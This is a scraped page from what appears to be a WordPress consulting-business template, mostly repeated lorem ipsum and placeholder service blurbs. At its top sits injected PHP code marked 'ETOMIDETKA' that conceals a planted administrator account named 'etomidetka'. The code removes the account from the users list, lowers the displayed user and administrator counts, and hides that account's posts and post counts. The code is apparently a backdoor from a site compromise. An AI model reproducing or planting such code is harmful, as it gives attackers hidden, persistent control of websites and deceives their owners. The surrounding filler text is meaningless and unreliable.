//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; });
We have almost 35+ years of experience for providing consulting services solutions
Read MoreWe have almost 35+ years of experience for providing consulting services solutions
Read MoreWe have almost 35+ years of experience for providing consulting services solutions
Read MoreLorem ipsum dolor sit amet consectetur adipiscing, elit libero facilisis donec laoreet ridiculus convallis ultrices sociis fermentum orci nasceture
Quickly productivate just in time strategic theme.
Quickly productivate just in time strategic theme.
Read MoreWe have more than years of experience
Service Details Leverage agile frameworks to provide a robust synopsis for high level overviews….
Read MoreService Details Leverage agile frameworks to provide a robust synopsis for high level overviews….
Read MoreService Details Leverage agile frameworks to provide a robust synopsis for high level overviews….
Read MoreService Details Leverage agile frameworks to provide a robust synopsis for high level overviews….
Read MoreService Details Leverage agile frameworks to provide a robust synopsis for high level overviews….
Read MoreService Details Leverage agile frameworks to provide a robust synopsis for high level overviews….
Read MoreService Details Leverage agile frameworks to provide a robust synopsis for high level overviews….
Read MoreService Details Leverage agile frameworks to provide a robust synopsis for high level overviews….
Read MoreLorem ipsum dolor sit amet, consectetur adipisicing nesciunt, aliquam alias sunt. Dolores aliquid unde reprehenderit omnis vitae cupiditate distinctio?
All MembersLorem ipsum dolor sit amet consectetur adicing nesciunt aliquam sunt
Lorem ipsum dolor sit amet consectetur adicing nesciunt aliquam sunt
Lorem ipsum dolor sit amet consectetur adicing nesciunt aliquam sunt
Lorem ipsum dolor sit amet consectetur adicing nesciunt aliquam sunt
Annually
Monthly
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Debitis deserunt, esse similique, soluta unde quae doloribus deleniti quos.
Lorem ipsum dolor sit amet, consectetur adipisicing nesciunt, aliquam alias sunt. Dolores aliquid unde reprehenderit omnis vitae cupiditate distinctio?
Lorem ipsum dolor sit amet, consectetur adipisicing elit oluptatibus blanditiis amet optio fugiat nisi est repellendus iusto quis harum laboriosam nostrum unde distinctio
Lorem ipsum dolor sit amet, consectetur adipisicing elit oluptatibus blanditiis amet optio fugiat nisi est repellendus iusto quis harum laboriosam nostrum unde distinctio
Lorem ipsum dolor sit amet, consectetur adipisicing elit oluptatibus blanditiis amet optio fugiat nisi est repellendus iusto quis harum laboriosam nostrum unde distinctio
Lorem ipsum dolor sit amet, consectetur adipisicing nesciunt, aliquam alias sunt. Dolores aliquid unde reprehenderit omnis vitae cupiditate distinctio?
All News Economics admin August 23, 2022